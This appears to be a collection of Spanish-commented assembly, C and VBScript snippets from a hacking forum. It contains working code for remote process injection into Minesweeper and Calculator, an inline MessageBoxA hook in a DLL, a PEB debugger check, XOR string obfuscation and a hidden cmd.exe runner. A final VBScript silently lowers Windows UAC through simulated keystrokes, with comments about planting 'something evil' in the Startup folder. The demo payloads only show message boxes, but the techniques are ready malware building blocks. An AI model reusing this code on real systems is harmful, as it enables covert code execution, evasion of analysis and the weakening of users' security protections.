format PE GUI 4.0
entry start

include 'win32ax.inc'

        Ventana db 'Buscaminas',0
        idproc dd ?
        ID dd ?

        TamFun dd ?
        DirFun dd ?

start:
        invoke FindWindow,NULL,Ventana
        invoke GetWindowThreadProcessId,eax,addr idproc   ;idproc = identficador del proceso
        invoke OpenProcess,PROCESS_ALL_ACCESS,0,[idproc]
        mov [ID],eax

        invoke LoadLibrary,"user32.dll" ;cargamos user32.dll
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la dirección de la api
        mov [mMessageBoxA],eax  ; movemos la dirección de la api a la variable que hay dentro de la funcion qeu inyectaremos

        mov eax,final  ;Obtenemos el tamaño de la función
        sub eax,Inyectado
        mov [TamFun],eax

        invoke VirtualAllocEx,[ID],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE  ;generamos el espacio dentro del proceso
        mov [DirFun],eax
        invoke WriteProcessMemory,[ID],eax,Inyectado,[TamFun],0 ;escribimos nuestro código en el proceso
        invoke CreateRemoteThread,[ID],0,0,[DirFun],0,0,0  ;Lanzamos el hilo.

        ret

        proc Inyectado
             call offset  ;Técnica del offset delta.
             offset:
             pop ebx
             sub ebx,offset
             push ebx ebx
             pop ecx edx

             add ecx,titulo
             add edx,cuerpo

             push 0
             push ecx
             push edx
             push 0

             call [ebx+mMessageBoxA]


             ret

             titulo db 'Me inyecte!',0
             cuerpo db 'Este Mensage sale del buscaminas ^^',0

             mMessageBoxA dd ? ;variable que contiene la dirección de [email protected]
        endp
        final:

data import
     library kernel32,'Kernel32.dll',\
             user32,'user32.dll'

     import user32,MessageBoxA,'MessageBoxA',\
            FindWindow,'FindWindowA',\
            GetWindowThreadProcessId,'GetWindowThreadProcessId'

     import kernel32,OpenProcess,'OpenProcess',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data  

Format PE GUI 4.0
entry start
include 'win32ax.inc'

calc db 'c:\windows\system32\calc.exe',0
pi PROCESS_INFORMATION ?
sin STARTUPINFO ?
TamFun dd ?  ;tamaño de la funcion...
DirFun dd ? ; dirección de la funcion
DirUser dd ?

start:
        invoke CreateProcessA,0,calc,0,0,0,0,0,0,sin,pi
        invoke Sleep,2000
        invoke LoadLibrary,"user32.dll"
        mov [DirUser],eax

        invoke GetProcAddress,[DirUser],"MessageBoxA"
        mov [mMessageBoxA],eax
        invoke GetProcAddress,[DirUser],"FindWindowA"
        mov [mFindWindow],eax
        invoke GetProcAddress,[DirUser],"SetWindowTextA"
        mov [mSetWindowTextA],eax

        mov ebx,final  ;obtenemos el Tamaño de la función
        sub ebx,Inyectada
        mov [TamFun],ebx

        invoke VirtualAllocEx,[pi.hProcess],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
        mov [DirFun],eax
        invoke WriteProcessMemory,[pi.hProcess],eax,Inyectada,[TamFun],0
        invoke CreateRemoteThread,[pi.hProcess],0,0,[DirFun],0,0,0
        ret

        proc Inyectada
                call offset
                offset:
                pop ebx
                sub ebx,offset
                push ebx
                pop ecx

                add ecx,Calculadora

                push ecx
                push NULL
                call [ebx+mFindWindow]

                push ebx
                pop ecx

                add ecx, TituloVen

                push ecx
                push eax
                call [ebx+mSetWindowTextA]

                push ebx ebx
                pop edx ecx

                add ecx,TituloMsg
                add edx,CuerpoMsg

                push 0
                push ecx
                push edx
                push 0

                call [ebx+mMessageBoxA]
                ret

                TituloMsg db 'Inyectado!',0
                CuerpoMsg db 'El código inyectado Cambio el nombre a la ventana',0
                TituloVen db 'Este es un título falso',0
                Calculadora db 'Calculadora',0

                mMessageBoxA dd ?  ;Dirección MessageBox
                mFindWindow dd ?   ;dirección fundwindow
                mSetWindowTextA  dd ? ;Dirección de SetWindowText
        endp
        final:
data import
     library kernel32,'kernel32.dll'

     import kernel32,CreateProcessA,'CreateProcessA',\
            Sleep,'Sleep',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data    

 proc NumToString,Numero
                ;Función creada por Drinky94. Agradecimientos a Jep.
                locals
                        divisor dw ?
                        ; buffer rb 20  Agregar esta variable en la sección data
                        ; El numero 20 es la longitud que tendra la cadena
                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
                endl

                mov [divisor],10
                xor eax,eax
                xor ebx,ebx
                mov eax,[Numero]
                bucle:
                        xor edx,edx
                        div [divisor]
                        add dl,0x30
                        mov byte[buffer+ebx],dl
                        inc ebx
                        cmp eax,0
                            jne bucle
                inc ebx
                mov byte[buffer+ebx],0x0
                mov eax,buffer
                mov ecx,-1
                buclelen:
                        inc ecx
                        cmp byte[eax+ecx],0
                            jne buclelen
                xor ebx,ebx
                dec ecx
                reverse:
                        xor edx,edx
                        mov dl,byte[eax+ecx]
                        mov byte[CadenaFinal+ebx],dl
                        inc ebx
                        sub ecx,1
                        cmp ecx,-1
                            jne reverse
                mov eax,CadenaFinal
                ret
        endp  

include 'win32ax.inc'

.data
        buffer rb 4
        CadenaFinal rb 4
.code
start:
        stdcall NumToString,1994
        invoke MessageBoxA,0,eax,0,0
        ret

        proc NumToString,Numero
                ;Función creada por Drinky94. Agradecimientos a Jep.
                locals
                        divisor dw ?
                        ; buffer rb 20  Agregar esta variable en la sección data
                        ; El numero 20 es la longitud que tendra la cadena
                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
                endl

                mov [divisor],10
                xor eax,eax
                xor ebx,ebx
                mov eax,[Numero]
                bucle:
                        xor edx,edx
                        div [divisor]
                        add dl,0x30
                        mov byte[buffer+ebx],dl
                        inc ebx
                        cmp eax,0
                            jne bucle
                inc ebx
                mov byte[buffer+ebx],0x0
                mov eax,buffer
                mov ecx,-1
                buclelen:
                        inc ecx
                        cmp byte[eax+ecx],0
                            jne buclelen
                xor ebx,ebx
                dec ecx
                reverse:
                        xor edx,edx
                        mov dl,byte[eax+ecx]
                        mov byte[CadenaFinal+ebx],dl
                        inc ebx
                        sub ecx,1
                        cmp ecx,-1
                            jne reverse
                mov eax,CadenaFinal
                ret
        endp
.end start      

proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp 

include 'win32ax.inc'

.data
        hola db 'hola',0

.code
start:
         stdcall Cifrar,hola
         invoke MessageBoxA,0,eax,0,0
         ret

         proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp
.end start    

format PE GUI 4.0
entry start

include 'win32ax.inc'

    SiDbg db 'Hay Debugger',0
    NoDbg db 'No hay Debugger',0

start:
        mov eax,dword[fs:18h]
        mov eax,dword[eax+30h]
        mov bl,byte[eax+2]  ; si bl = 1 Nos estan debujeando.

        .if bl = 1
            invoke MessageBoxA,0,SiDbg,0,0
        .else
            invoke MessageBoxA,0,NoDbg,0,0
        .endif
        ret

data import
        library user32,'user32.dll'

        import user32,MessageBoxA,'MessageBoxA'

end data            

proc DGlobalAlloc,cantidad
        sub esp,[cantidad]
        mov eax,esp
        ret
endp

include 'win32ax.inc'

.data
    palabra db 'Drinky94',0
    longitud dd ?
.code
start:

    stdcall Len,palabra
    mov [longitud],ecx
    stdcall DGlobalAlloc,1024
    push eax
    invoke wsprintfA,eax,"%d",[longitud]
    pop eax
    invoke MessageBox,0,eax,0,MB_OK
    leave
    ret

    proc Len,Cadena
        mov eax,[Cadena]
        mov ecx,-1
        bucle:
            inc ecx
            cmp byte[eax+ecx],0
            jne bucle
        ret
    endp

    proc DGlobalAlloc,cantidad
        sub esp,[cantidad]
        mov eax,esp
        ret
    endp
.end start 

;##########################################################
;##  Ejemplo API Hooking by Drinky94                      ##
;##  Agradecimientos a:                                  ##
;##      [Zero] por todo en lo que me ayuda              ##
;##       YST por su funcion ASCIITOUNICODE              ##
;##########################################################
 
format PE GUI 4.0 DLL
entry DllEntryPoint
 
include 'win32ax.inc'
 
section '.code' code readable executable
 
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
        locals
            proteccion dd ?
        endl
 
        stdcall ASCIITOUNICODE,mensajito,buffer;pasamos la cadena que se mostrara en MessageBoxW a Unicode
 
        invoke LoadLibrary,'user32.dll' ;Cargamos User32
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la direccion de la api
        mov ebx,eax; ebx  = direccion MessageBoxA
 
        mov eax,hook  ;Calculamos la distancia entre el jmp y la funcion donde saltaremos
        sub eax,ebx
        sub eax,4
 
        mov ecx,eax
 
        push ebx
        push ecx
 
        invoke VirtualProtect,ebx,5,PAGE_EXECUTE_READWRITE,addr proteccion     ;le damos a 5 bytes permiso de escritura
 
        pop ecx
        pop ebx
 
        mov byte[ebx],0xE9  ;escribimos un jmp
        inc ebx
        mov dword[ebx],ecx ;escriimos la longitud del salto
        add ebx,4
        ret
endp
 
proc hook,uno,dos,tres,cuatro  ;funcion que remplaza a MesasgeBoxA
    invoke MessageBox,0,buffer,0,0 ;Si se llama a MessageBoxA, mostramos nuestro mensagito :PP
    mov eax,0  ;devolvemos cero
    jmp ebx  ;saltamos donde nos quedamos para continuar la ejecucion.
endp
 
proc ASCIITOUNICODE,Cadena,Buffer
;Funcion By YST
 
push ecx ebx
mov  eax,[Cadena]
mov ebx,[Buffer]
dec eax
sub ebx,2
.bucle:
inc eax
cmp byte[eax],0
je .salir
add ebx,2
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp
 
proc ShowErrorMessage hWnd,dwError
  local lpBuffer:DWORD
        lea     eax,[lpBuffer]
        invoke  FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
        invoke  MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
        invoke  LocalFree,[lpBuffer]
        ret
endp
 
; VOID ShowLastError(HWND hWnd);
 
proc ShowLastError hWnd
        invoke  GetLastError
        stdcall ShowErrorMessage,[hWnd],eax
        ret
endp
section '.data' data readable writeable
        mensajito db 'Msgbox Hookeado',0
        buffer db ?
 
 
section '.idata' import data readable writeable
 
  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'
 
  import kernel,\
         GetLastError,'GetLastError',\
         SetLastError,'SetLastError',\
         FormatMessage,'FormatMessageA',\
         LocalFree,'LocalFree',\
         LoadLibrary,'LoadLibraryA',\
         GetProcAddress,'GetProcAddress',\
         VirtualProtect,'VirtualProtect'
 
  import user,\
         MessageBox,'MessageBoxW'
 
section '.edata' export data readable
 
  export 'ERRORMSG.DLL',\
         ShowErrorMessage,'ShowErrorMessage',\
         ShowLastError,'ShowLastError'
 
section '.reloc' fixups data discardable  

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
   
    void * leer;
    void * escribir;
 
    ZeroMemory(&sa,sizeof(&sa));
   
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    CreatePipe(&leer,&escribir,&sa,0);

    GetStartupInfoA(&si);
   
    si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = escribir;
    si.hStdError  = escribir;
    si.hStdInput = leer;
   
    CreateProcessA(0,"c:\\windows\\system32\\cmd.exe /c dir",0,0,TRUE,0,0,0,&si,&pi);
    Sleep(200);
    CloseHandle(escribir);
   
    char buffer[1024];
    DWORD bleidos;
    ReadFile(leer,buffer,1024,&bleidos,0);
    MessageBoxA(0,buffer,0,0);
   
    system("PAUSE");
    return 0;
}

// Código By Drinky94

#include <stdio.h>
#include <stdlib.h>

int main()
{
    struct
    {
        unsigned bit0:1;
        unsigned bit1:1;
        unsigned bit2:1;
        unsigned bit3:1;
        unsigned bit4:1;
        unsigned bit5:1;
        unsigned bit6:1;
        unsigned bit7:1;
    } byte;
     
    printf("Introduce un numero: ");
    scanf("%d",&byte);
    
    printf("El numero en binario es: ");
    printf("%d",byte.bit7);
    printf("%d",byte.bit6);
    printf("%d",byte.bit5);
    printf("%d",byte.bit4);
    printf("%d",byte.bit3);
    printf("%d",byte.bit2);
    printf("%d",byte.bit1);
    printf("%d\n",byte.bit0);
    
    system("PAUSE");
    return 0;
}

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"